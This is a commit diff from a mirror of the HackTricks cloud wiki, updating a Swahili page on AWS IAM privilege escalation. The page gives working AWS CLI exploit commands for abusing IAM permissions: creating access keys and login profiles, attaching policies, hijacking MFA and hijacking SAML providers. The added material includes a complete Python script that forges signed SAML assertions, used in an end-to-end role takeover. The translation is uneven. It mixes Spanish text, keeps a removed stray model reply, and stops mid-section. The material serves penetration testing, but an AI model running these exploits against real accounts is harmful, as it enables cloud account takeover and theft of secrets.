mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+316
-44
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Kwa habari zaidi kuhusu IAM angalia:
|
||||
Kwa maelezo zaidi kuhusu IAM angalia:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
@@ -12,44 +12,44 @@ Kwa habari zaidi kuhusu IAM angalia:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ikiepuka haja ya ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kubainisha ruhusa maalum.
|
||||
Huipa uwezo wa kuunda toleo jipya la sera ya IAM, ikiepuka hitaji la ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera `--set-as-default`. Hii inaruhusu kufafanua ruhusa zilizobinafsishwa.
|
||||
|
||||
**Exploit Command:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Athari:** Inaongezea ruhusa moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote.
|
||||
**Impact:** Inapandisha ruhusa moja kwa moja kwa kuruhusu kitendo chochote kwenye rasilimali yoyote.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Inaruhusu kubadilisha toleo chaguo-msingi la sera ya IAM kwa toleo lingine liloripo, na inaweza kuongeza ruhusa ikiwa toleo jipya lina ruhusa zaidi.
|
||||
Inaruhusu kubadilisha toleo la chaguo-msingi la sera ya IAM kwenda toleo lingine linalopo, na inaweza kupandisha ruhusa ikiwa toleo jipya lina ruhusa nyingi zaidi.
|
||||
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Athari:** Isiyo ya moja kwa moja privilege escalation kwa kuruhusu ruhusa zaidi.
|
||||
**Athari:** Indirect privilege escalation kwa kuwezesha permissions zaidi.
|
||||
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Inaruhusu kuunda access key ID na secret access key kwa mtumiaji mwingine, jambo ambalo linaweza kusababisha privilege escalation.
|
||||
Inawezesha kuunda access key ID na secret access key kwa mtumiaji mwingine, ikisababisha uwezekano wa privilege escalation.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Athari:** privilege escalation ya moja kwa moja kwa kuchukua ruhusa za ziada za mtumiaji mwingine.
|
||||
**Impact:** Direct privilege escalation kwa kuchukua ruhusa zilizopanuliwa za mtumiaji mwingine.
|
||||
|
||||
Kumbuka kwamba mtumiaji anaweza kuwa na vifunguo vya ufikiaji viwili tu vilivyotengenezwa, hivyo ikiwa mtumiaji tayari ana vifunguo vya ufikiaji 2 utahitaji ruhusa `iam:DeleteAccessKey` kufuta mojawapo yao ili uweze kuunda mpya:
|
||||
Kumbuka kwamba mtumiaji anaweza kuwa na vifunguo vya ufikiaji 2 tu vilivyoundwa, hivyo ikiwa mtumiaji tayari ana vifunguo viwili vya ufikiaji utahitaji ruhusa `iam:DeleteAccessKey` kufuta mmoja wao ili uweze kuunda mpya:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Ikiwa unaweza kuunda virtual MFA device mpya na kuiwezesha kwa mtumiaji mwingine, unaweza kwa ufanisi kusajili MFA yako kwa mtumiaji huyo na kisha kuomba session iliyothibitishwa na MFA kwa vyeti vyao.
|
||||
Ikiwa unaweza kuunda virtual MFA device mpya na kuiwezesha kwa mtumiaji mwingine, unaweza kwa ufanisi kujisajili kwa MFA yako kwa mtumiaji huyo na kisha kuomba kikao kinachothibitishwa na MFA kwa vigezo vyao vya kuingia.
|
||||
|
||||
**Exploit:**
|
||||
**Ushambulizi:**
|
||||
```bash
|
||||
# Create a virtual MFA device (this returns the serial and the base32 seed)
|
||||
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
@@ -58,51 +58,77 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Athari:** Kuongezeka kwa mamlaka kwa njia ya moja kwa moja kwa kuchukua usajili wa MFA wa mtumiaji (na kisha kutumia mamlaka yao).
|
||||
**Athari:** Direct privilege escalation kwa kuchukua usajili wa MFA wa mtumiaji (na kisha kutumia ruhusa zao).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Inaruhusu kuunda au kusasisha login profile, ikijumuisha kuweka nywila kwa ajili ya AWS console login, ikisababisha kuongezeka kwa mamlaka kwa njia ya moja kwa moja.
|
||||
Inaruhusu kuunda au kusasisha login profile, ikijumuisha kuweka nywila za AWS console login, na kusababisha direct privilege escalation.
|
||||
|
||||
**Exploit kwa Uundaji:**
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit kwa Update:**
|
||||
**Exploit kwa Sasisho:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Athari:** Kuongezeka kwa moja kwa moja kwa privilege escalation kwa kuingia kama mtumiaji "yeyote".
|
||||
**Athari:** Kuongezeka kwa ruhusa moja kwa moja kwa kuingia kama mtumiaji yeyote.
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Inaruhusu kuwezesha access key iliyozimwa, jambo ambalo linaweza kusababisha upatikanaji usioidhinishwa ikiwa mshambuliaji anamiliki access key hiyo iliyozimwa.
|
||||
Inawezesha kuwezesha access key iliyozimwa, ambayo inaweza kusababisha upatikanaji usioidhinishwa ikiwa mshambuliaji anamiliki access key iliyozimwa.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Athari:** Moja kwa moja privilege escalation kwa kurejesha tena access keys.
|
||||
**Athari:** Kuongezeka kwa mamlaka kwa moja kwa moja kwa kuamsha tena vifunguo vya upatikanaji.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Inaruhusu kuzalisha au kuweka upya credentials kwa huduma maalum za AWS (e.g., CodeCommit, Amazon Keyspaces), zikirithi permissions za mtumiaji aliyehusishwa.
|
||||
Inawezesha kuunda au kuweka upya credentials kwa huduma maalum za AWS (mara nyingi **CodeCommit**). Hizi si **AWS API keys**: ni **username/password** credentials kwa huduma maalum, na unaweza kuzitumia tu pale huduma hiyo inazoikubali.
|
||||
|
||||
**Exploit for Creation:**
|
||||
**Uundaji:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
|
||||
```
|
||||
**Exploit kwa Reset:**
|
||||
Hifadhi:
|
||||
|
||||
- `ServiceSpecificCredential.ServiceUserName`
|
||||
- `ServiceSpecificCredential.ServicePassword`
|
||||
|
||||
**Mfano:**
|
||||
```bash
|
||||
# Find a repository you can access as the target
|
||||
aws codecommit list-repositories
|
||||
|
||||
export REPO_NAME="<repo_name>"
|
||||
export AWS_REGION="us-east-1" # adjust if needed
|
||||
|
||||
# Git URL (HTTPS)
|
||||
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
|
||||
|
||||
# Clone and use the ServiceUserName/ServicePassword when prompted
|
||||
git clone "$CLONE_URL"
|
||||
cd "$REPO_NAME"
|
||||
```
|
||||
> Kumbuka: The service password often contains characters like `+`, `/` and `=`. Using the interactive prompt is usually easiest. If you embed it into a URL, URL-encode it first.
|
||||
|
||||
Kwa hatua hii unaweza kusoma chochote ambacho mtumiaji lengwa anaweza kufikia katika CodeCommit (mfano, a leaked credentials file). Ikiwa utapata **AWS access keys** kutoka repo, tengeneza profile mpya ya AWS CLI kwa kutumia keys hizo kisha upate resources (kwa mfano, soma flag kutoka Secrets Manager):
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
|
||||
```
|
||||
**Weka upya:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impact:** Kuongezeka kwa ruhusa moja kwa moja ndani ya ruhusa za huduma za mtumiaji.
|
||||
**Madhara:** Privilege escalation ndani ya ruhusa za mtumiaji lengwa kwa huduma iliyotajwa (na pengine zaidi ikiwa unafanya pivot kwa kutumia data iliyopatikana kutoka kwa huduma hiyo).
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Inaruhusu kuambatisha policies kwa watumiaji au makundi, na hivyo kuongeza ruhusa moja kwa moja kwa kurithi ruhusa za policy iliyounganishwa.
|
||||
Inaruhusu kuambatisha policies kwa users au groups, na hivyo directly escalating privileges kwa kurithi permissions za policy iliyounganishwa.
|
||||
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
@@ -112,11 +138,11 @@ aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Athari:** Direct privilege escalation kwa chochote sera inaruhusu.
|
||||
**Impact:** Direct privilege escalation kwa chochote policy inaruhusu.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Inaruhusu kuambatisha au kuweka sera kwa roles, users, au groups, na hivyo kuruhusu direct privilege escalation kwa kutoa ruhusa za ziada.
|
||||
Inaruhusu kuambatanisha au kuweka policies kwa roles, users, au groups, na hivyo kuruhusu direct privilege escalation kwa kutoa permissions za ziada.
|
||||
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
@@ -133,7 +159,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
|
||||
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
|
||||
--policy-document file:///path/to/policy.json
|
||||
```
|
||||
I don't see the README.md content to translate. Please paste the file content (or confirm you want an example policy) and I'll translate the relevant English text to Swahili following your rules.
|
||||
Unaweza kutumia sera kama:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -146,28 +172,28 @@ I don't see the README.md content to translate. Please paste the file content (o
|
||||
]
|
||||
}
|
||||
```
|
||||
**Athari:** Kuongezeka kwa ruhusa moja kwa moja kwa kuongeza ruhusa kupitia sera.
|
||||
**Athari:** Direct privilege escalation kwa kuongeza ruhusa kupitia sera.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
Inaruhusu kujiongeza mwenyewe kwenye kikundi cha IAM, na hivyo kuongeza ruhusa kwa kurithi ruhusa za kikundi.
|
||||
Inaruhusu kujiongeza kwenye kikundi cha IAM, escalating privileges kwa kurithi ruhusa za kikundi.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
```
|
||||
**Athari:** Kupandishwa kwa ruhusa kwa moja kwa moja hadi kiwango cha ruhusa za kikundi.
|
||||
**Athari:** Kupandishwa moja kwa moja kwa privilege escalation hadi kiwango cha ruhusa za kundi.
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Inaruhusu kubadilisha assume role policy document ya role, na hivyo kuwezesha ku-assume role pamoja na ruhusa zake zinazohusiana.
|
||||
Inaruhusu kubadilisha assume role policy document ya role, ikiruhusu kuchukua role na ruhusa zake zinazohusiana.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-assume-role-policy --role-name <role_name> \
|
||||
--policy-document file:///path/to/assume/role/policy.json
|
||||
```
|
||||
Ambapo sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu:
|
||||
Ambapo sera inavyoonekana kama ifuatayo, ambayo inampa mtumiaji ruhusa ya kuchukua role:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -182,11 +208,11 @@ Ambapo sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impact:** Direct privilege escalation kwa kuchukua ruhusa za role yoyote.
|
||||
**Athari:** Kuongezeka kwa mamlaka kwa njia ya moja kwa moja kwa kudai ruhusa za role yoyote.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Inaruhusu kupakia SSH public key kwa ajili ya uthibitisho kwenye CodeCommit na kuzima vifaa vya MFA, na hivyo kusababisha uwezekano wa indirect privilege escalation.
|
||||
Inaruhusu kupakia SSH public key kwa ajili ya kuthibitisha kwa CodeCommit na kuzima vifaa vya MFA, jambo linaloweza kusababisha kuongezeka kwa mamlaka kwa njia isiyo ya moja kwa moja.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
@@ -196,24 +222,24 @@ aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
**Impact:** Kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuwezesha ufikiaji wa CodeCommit au kuzima ulinzi wa MFA.
|
||||
**Athari:** Kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuwezesha upatikanaji wa CodeCommit au kwa kuzima ulinzi wa MFA.
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Inaruhusu kusawazisha upya kifaa cha MFA, ambacho kinaweza kusababisha kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kuingilia au kubadilisha ulinzi wa MFA.
|
||||
Inaruhusu kusanidi upya kifaa cha MFA, jambo ambalo linaweza kusababisha kupandishwa kwa mamlaka kwa njia isiyo ya moja kwa moja kwa kubadilisha ulinzi wa MFA.
|
||||
|
||||
**Amri ya Bash:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Athari:** Kuongezeka kwa vibali kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha vifaa vya MFA.
|
||||
**Athari:** Indirect privilege escalation kwa kuongeza au kubadilisha MFA devices.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Kwa ruhusa hizi unaweza **kubadilisha metadata ya XML ya muunganisho wa SAML**. Kisha, unaweza kutumia vibaya **SAML federation** ili **login** na **role** yoyote inayoiamini.
|
||||
Kwa ruhusa hizi unaweza **kubadilisha XML metadata ya muunganisho wa SAML**. Kisha, unaweza kutumia vibaya **SAML federation** ili **ku-login** na **role yoyote inayomuamini**.
|
||||
|
||||
Kumbuka kwamba kufanya hivi **watumiaji halali hawataweza ku-login**. Walakini, unaweza kupata XML, hivyo unaweza kuweka yako, ku-login na kusanidi tena iliyokuwepo hapo awali.
|
||||
Kumbuka kwamba ukifanya hivyo, **watumiaji halali hawataweza ku-login**. Hata hivyo, unaweza kupata XML, ukaingiza yako, ku-login na kurudisha mipangilio ya awali.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
# Optional: Set the previous XML back
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: A Tool inayoweza kuunda SAML metadata na ku-login kwa role iliyobainishwa
|
||||
**Shambulio end-to-end:**
|
||||
|
||||
1. Orodhesha SAML provider na role inayoiamini:
|
||||
```bash
|
||||
export AWS_REGION=${AWS_REGION:-us-east-1}
|
||||
|
||||
aws iam list-saml-providers
|
||||
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
|
||||
|
||||
# Backup current metadata so you can restore it later:
|
||||
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
|
||||
|
||||
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
|
||||
aws iam list-roles | grep -i saml || true
|
||||
aws iam get-role --role-name "<ROLE_NAME>"
|
||||
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
|
||||
```
|
||||
2. Tengeneza metadata ya IdP + SAML assertion iliyotiwa saini kwa jozi ya role/provider:
|
||||
```bash
|
||||
python3 -m venv /tmp/saml-federation-venv
|
||||
source /tmp/saml-federation-venv/bin/activate
|
||||
pip install lxml signxml
|
||||
|
||||
# Create /tmp/saml_forge.py from the expandable below first:
|
||||
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
j=json.load(open("/tmp/saml-forge.json","r"))
|
||||
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
|
||||
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
|
||||
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
|
||||
PY
|
||||
```
|
||||
<details>
|
||||
<summary>Inapanuliwa: <code>/tmp/saml_forge.py</code> msaidizi (metadata + signed assertion)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
import uuid
|
||||
|
||||
from lxml import etree
|
||||
from signxml import XMLSigner, methods
|
||||
|
||||
|
||||
def _run(cmd: list[str]) -> str:
|
||||
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||
return p.stdout
|
||||
|
||||
|
||||
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
|
||||
key_path = os.path.join(tmpdir, "key.pem")
|
||||
cert_path = os.path.join(tmpdir, "cert.pem")
|
||||
_run(
|
||||
[
|
||||
"openssl",
|
||||
"req",
|
||||
"-x509",
|
||||
"-newkey",
|
||||
"rsa:2048",
|
||||
"-keyout",
|
||||
key_path,
|
||||
"-out",
|
||||
cert_path,
|
||||
"-days",
|
||||
"3650",
|
||||
"-nodes",
|
||||
"-subj",
|
||||
"/CN=attacker-idp",
|
||||
]
|
||||
)
|
||||
return key_path, cert_path
|
||||
|
||||
|
||||
def _pem_cert_to_b64(cert_pem: str) -> str:
|
||||
lines: list[str] = []
|
||||
for line in cert_pem.splitlines():
|
||||
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
|
||||
continue
|
||||
line = line.strip()
|
||||
if line:
|
||||
lines.append(line)
|
||||
return "".join(lines)
|
||||
|
||||
|
||||
def make_metadata_xml(cert_b64: str) -> str:
|
||||
return f"""<?xml version="1.0"?>
|
||||
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
|
||||
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
|
||||
<KeyDescriptor use="signing">
|
||||
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
|
||||
<X509Data>
|
||||
<X509Certificate>{cert_b64}</X509Certificate>
|
||||
</X509Data>
|
||||
</KeyInfo>
|
||||
</KeyDescriptor>
|
||||
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
|
||||
</IDPSSODescriptor>
|
||||
</EntityDescriptor>
|
||||
"""
|
||||
|
||||
|
||||
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
|
||||
ns = {
|
||||
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
|
||||
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
|
||||
}
|
||||
|
||||
issue_instant = dt.datetime.now(dt.timezone.utc)
|
||||
not_before = issue_instant - dt.timedelta(minutes=2)
|
||||
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
|
||||
|
||||
resp_id = "_" + str(uuid.uuid4())
|
||||
assertion_id = "_" + str(uuid.uuid4())
|
||||
|
||||
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
|
||||
response.set("ID", resp_id)
|
||||
response.set("Version", "2.0")
|
||||
response.set("IssueInstant", issue_instant.isoformat())
|
||||
response.set("Destination", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
|
||||
issuer.text = "https://attacker.invalid/idp"
|
||||
|
||||
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
|
||||
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
|
||||
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
|
||||
|
||||
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
|
||||
assertion.set("ID", assertion_id)
|
||||
assertion.set("Version", "2.0")
|
||||
assertion.set("IssueInstant", issue_instant.isoformat())
|
||||
|
||||
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
|
||||
a_issuer.text = "https://attacker.invalid/idp"
|
||||
|
||||
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
|
||||
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
|
||||
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
|
||||
name_id.text = "attacker"
|
||||
|
||||
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
|
||||
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
|
||||
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
|
||||
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
|
||||
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
|
||||
conditions.set("NotBefore", not_before.isoformat())
|
||||
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
|
||||
|
||||
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
|
||||
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
|
||||
audience.text = "https://signin.aws.amazon.com/saml"
|
||||
|
||||
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
|
||||
|
||||
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
|
||||
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_role_value.text = f"{role_arn},{principal_arn}"
|
||||
|
||||
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
|
||||
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_session_value.text = "saml-session"
|
||||
|
||||
key_bytes = open(key_pem, "rb").read()
|
||||
cert_bytes = open(cert_pem, "rb").read()
|
||||
|
||||
signer = XMLSigner(
|
||||
method=methods.enveloped,
|
||||
signature_algorithm="rsa-sha256",
|
||||
digest_algorithm="sha256",
|
||||
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
|
||||
)
|
||||
signed_assertion = signer.sign(
|
||||
assertion,
|
||||
key=key_bytes,
|
||||
cert=cert_bytes,
|
||||
reference_uri=f"#{assertion_id}",
|
||||
id_attribute="ID",
|
||||
)
|
||||
|
||||
response.remove(assertion)
|
||||
response.append(signed_assertion)
|
||||
|
||||
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--role-arn", required=True)
|
||||
ap.add_argument("--principal-arn", required=True)
|
||||
args = ap.parse_args()
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
key_path, cert_path = _openssl_make_key_and_cert(tmp)
|
||||
cert_pem = open(cert_path, "r", encoding="utf-8").read()
|
||||
cert_b64 = _pem_cert_to_b64(cert_pem)
|
||||
|
||||
metadata_xml = make_metadata_xml(cert_b64)
|
||||
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
|
||||
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
|
||||
|
||||
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
</details>
|
||||
|
||||
3. Sasisha metadata ya mtoa huduma wa SAML kwa cheti chako cha IdP, chukua role, na tumia STS credentials zilizorejeshwa:
|
||||
```bash
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata.xml
|
||||
|
||||
# Assertion is base64 and can be long. Keep it on one line:
|
||||
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
|
||||
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
|
||||
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
|
||||
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
|
||||
echo "Session expires at: $SESSION_EXP"
|
||||
|
||||
# Use creds inline (no need to create an AWS CLI profile):
|
||||
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
4. Usafishaji: rejesha metadata ya awali:
|
||||
```bash
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
j=json.load(open("/tmp/saml-provider-backup.json","r"))
|
||||
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
|
||||
PY
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata-original.xml
|
||||
```
|
||||
> [!WARNING]
|
||||
> Kusasisha metadata ya provider wa SAML kunavuruga: wakati metadata yako iko mahali, watumiaji halali wa SSO wanaweza wasiweze kuathibitisha utambulisho.
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Sina uhakika kuhusu hili) Ikiwa attacker ana hizi **permissions** anaweza kuongeza **Thumbprint** mpya ili kuweza ku-login katika role zote zinazomwamini provider.
|
||||
(Sina uhakika kuhusu hili) Ikiwa mshambuliaji ana hizi **idhinishaji** anaweza kuongeza **Thumbprint** mpya ili kuweza login katika roles zote zinazomuamini provider.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Ruhusa hii inamruhusu attacker kusasisha permissions boundary ya user, na inaweza kuongezea privileges zao kwa kumruhusu kufanya vitendo ambavyo kawaida vinazuiliwa kutokana na permissions zao zilizopo.
|
||||
Ruhusa hii inamruhusu attacker kusasisha permissions boundary ya mtumiaji, na kwa hivyo inawezekana kuongeza viwango vya ruhusa zao kwa kumruhusu kutekeleza vitendo ambavyo kwa kawaida vinalindwa na ruhusa zao zilizopo.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -268,7 +540,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
